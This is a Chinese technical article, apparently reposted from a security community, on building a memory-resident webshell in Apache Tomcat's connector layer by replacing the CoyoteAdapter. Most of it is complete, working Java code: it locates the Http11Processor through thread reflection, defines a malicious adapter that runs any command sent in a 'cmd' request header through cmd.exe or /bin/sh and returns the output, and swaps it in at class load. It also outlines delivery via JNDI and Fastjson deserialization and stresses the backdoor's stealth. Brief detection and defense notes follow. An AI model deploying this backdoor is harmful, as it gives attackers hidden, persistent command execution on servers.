连接器中内存马的构造-Adapter内存马
字数 1405 2025-08-05 08:18:15

Tomcat连接器内存马构造技术详解:Adapter内存马实现

0x00 前言

内存马技术是近年来Web安全领域的重要研究方向,特别是在Java Web应用中。本文基于lzstar在先知社区发表的Adapter内存马构造技术,详细解析Tomcat连接器层面的内存马实现原理与构造方法。相比常见的Executor内存马和Upgrade内存马,Adapter内存马提供了新的攻击面。

0x01 Tomcat连接器源码分析

要构造连接器层面的内存马,必须深入理解Tomcat连接器的工作流程。以下是关键组件分析:

连接器核心组件

  1. Acceptor线程

    • 负责接收客户端连接
    • 将Channel对象交给Poller处理
    • 代码路径:org.apache.tomcat.util.net.NioEndpoint#startInternal()
  2. Poller线程

    • 维护一个事件队列
    • 将Channel注册到Selector
    • 处理就绪的SelectionKey
    • 生成SocketProcessor任务交给Executor
  3. Executor

    • 实质是ThreadPoolExecutor
    • 执行SocketProcessor的run方法
    • bluE0提出的Executor内存马就是替换此组件
  4. Http11Processor

    • 读取和解析请求数据
    • 处理HTTP/1.1协议
    • 检查Upgrade头决定协议升级
  5. Adapter

    • 默认实现为CoyoteAdapter
    • 调用容器的service方法
    • 本文重点:构造Adapter内存马

请求处理流程

Acceptor → Poller → Executor → Http11Processor → Adapter → Container

0x02 Adapter内存马构造

构造原理

  1. 攻击点定位

    • 请求调用栈中CoyoteAdapter.service()是关键方法
    • CoyoteAdapter存储在Http11Processor的adapter字段中
  2. 实现思路

    • 继承CoyoteAdapter重写service方法
    • 在全局内存中找到Http11Processor实例
    • 替换其adapter字段为恶意实现

具体实现步骤

1. 获取Http11Processor实例

使用内存搜索技术定位Http11Processor对象:

public static Object getHttp11Processor() {
    ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
    Thread[] threads = (Thread[]) getField(threadGroup, threadGroup.getClass(), "threads");
    
    for(Thread thread : threads) {
        Object o = getField(thread, thread.getClass(), "target");
        if(o != null && o instanceof NioEndpoint.Poller) {
            NioEndpoint.Poller target = (NioEndpoint.Poller)o;
            NioEndpoint nioEndpoint = (NioEndpoint) getField(target, target.getClass(), "this$0");
            Set<SocketWrapperBase<NioChannel>> connections = nioEndpoint.getConnections();
            for (SocketWrapperBase<NioChannel> c : connections) {
                Object currentProcessor = c.getCurrentProcessor();
                if (currentProcessor != null) {
                    return currentProcessor;
                }
            }
        }
    }
    return null;
}

2. 恶意Adapter实现

public class MyAdapter extends CoyoteAdapter {
    public MyAdapter(Connector connector) {
        super(connector);
    }

    @Override
    public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) throws Exception {
        String p = req.getHeader("cmd");
        if(p != null) {
            exec(p, res);
        } else {
            super.service(req, res); // 正常请求走原有逻辑
        }
    }

    public void exec(String p, org.apache.coyote.Response res) {
        try {
            String[] cmd = System.getProperty("os.name").toLowerCase().contains("win") 
                ? new String[]{"cmd.exe", "/c", p} 
                : new String[]{"/bin/sh", "-c", p};
            byte[] result = new java.util.Scanner(
                new ProcessBuilder(cmd).start().getInputStream())
                .useDelimiter("\\A").next().getBytes();
            res.doWrite(ByteBuffer.wrap(result));
        } catch (Exception e) {
            // 异常处理
        }
    }
}

3. 替换原有Adapter

static {
    Http11Processor http11Processor = (Http11Processor) getHttp11Processor();
    CoyoteAdapter adapter = (CoyoteAdapter) http11Processor.getAdapter();
    Connector connector = (Connector) getField(adapter, adapter.getClass(), "connector");
    MyAdapter adapterMem = new MyAdapter(connector);
    setFiled(http11Processor, http11Processor.getClass().getSuperclass(), "adapter", adapterMem);
}

辅助工具方法

// 反射获取字段值
public static Object getField(Object object, Class clazz, String fieldName) {
    try {
        Field declaredField = clazz.getDeclaredField(fieldName);
        declaredField.setAccessible(true);
        return declaredField.get(object);
    } catch (Exception e) {
        return null;
    }
}

// 反射设置字段值
public static void setFiled(Object object, Class clazz, String filed_Name, Object value) {
    try {
        Field flied = clazz.getDeclaredField(filed_Name);
        flied.setAccessible(true);
        flied.set(object, value);
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
}

0x03 攻击验证

  1. 注入方式

    • 通过JNDI注入Reference指向恶意类
    • 适用于Fastjson等反序列化漏洞
  2. 攻击效果

    • 任意请求头包含cmd参数时执行命令
    • 命令结果直接写入响应
    • 不影响正常请求处理
  3. 检测特征

    • 存在自定义Adapter实现
    • Http11Processor的adapter字段被替换
    • 请求处理流程中出现异常调用栈

0x04 防御措施

  1. 运行时防护

    • 监控关键组件(如Adapter)的替换行为
    • 检测异常的命令执行调用栈
  2. 静态防护

    • 禁止加载未知类
    • 限制JNDI查找
  3. 检测工具

    • 使用Java内存分析工具检查关键组件
    • 监控Tomcat关键类的修改

0x05 总结

Adapter内存马通过替换Tomcat连接器中的关键组件实现持久化后门,相比传统内存马具有以下特点:

  1. 隐蔽性高 - 位于连接器层面,常规检测难以发现
  2. 兼容性好 - 不影响正常业务请求处理
  3. 执行效率高 - 在请求处理早期阶段介入

理解连接器各组件的工作原理是构造高级内存马的基础,本文提供的技术思路也可应用于其他组件的内存马构造。

Tomcat连接器内存马构造技术详解:Adapter内存马实现 0x00 前言 内存马技术是近年来Web安全领域的重要研究方向,特别是在Java Web应用中。本文基于lzstar在先知社区发表的Adapter内存马构造技术,详细解析Tomcat连接器层面的内存马实现原理与构造方法。相比常见的Executor内存马和Upgrade内存马,Adapter内存马提供了新的攻击面。 0x01 Tomcat连接器源码分析 要构造连接器层面的内存马,必须深入理解Tomcat连接器的工作流程。以下是关键组件分析: 连接器核心组件 Acceptor线程 负责接收客户端连接 将Channel对象交给Poller处理 代码路径: org.apache.tomcat.util.net.NioEndpoint#startInternal() Poller线程 维护一个事件队列 将Channel注册到Selector 处理就绪的SelectionKey 生成SocketProcessor任务交给Executor Executor 实质是ThreadPoolExecutor 执行SocketProcessor的run方法 bluE0提出的Executor内存马就是替换此组件 Http11Processor 读取和解析请求数据 处理HTTP/1.1协议 检查Upgrade头决定协议升级 Adapter 默认实现为CoyoteAdapter 调用容器的service方法 本文重点:构造Adapter内存马 请求处理流程 0x02 Adapter内存马构造 构造原理 攻击点定位 请求调用栈中 CoyoteAdapter.service() 是关键方法 CoyoteAdapter 存储在 Http11Processor 的adapter字段中 实现思路 继承 CoyoteAdapter 重写 service 方法 在全局内存中找到 Http11Processor 实例 替换其adapter字段为恶意实现 具体实现步骤 1. 获取Http11Processor实例 使用内存搜索技术定位 Http11Processor 对象: 2. 恶意Adapter实现 3. 替换原有Adapter 辅助工具方法 0x03 攻击验证 注入方式 通过JNDI注入Reference指向恶意类 适用于Fastjson等反序列化漏洞 攻击效果 任意请求头包含 cmd 参数时执行命令 命令结果直接写入响应 不影响正常请求处理 检测特征 存在自定义Adapter实现 Http11Processor 的adapter字段被替换 请求处理流程中出现异常调用栈 0x04 防御措施 运行时防护 监控关键组件(如Adapter)的替换行为 检测异常的命令执行调用栈 静态防护 禁止加载未知类 限制JNDI查找 检测工具 使用Java内存分析工具检查关键组件 监控Tomcat关键类的修改 0x05 总结 Adapter内存马通过替换Tomcat连接器中的关键组件实现持久化后门,相比传统内存马具有以下特点: 隐蔽性高 - 位于连接器层面,常规检测难以发现 兼容性好 - 不影响正常业务请求处理 执行效率高 - 在请求处理早期阶段介入 理解连接器各组件的工作原理是构造高级内存马的基础,本文提供的技术思路也可应用于其他组件的内存马构造。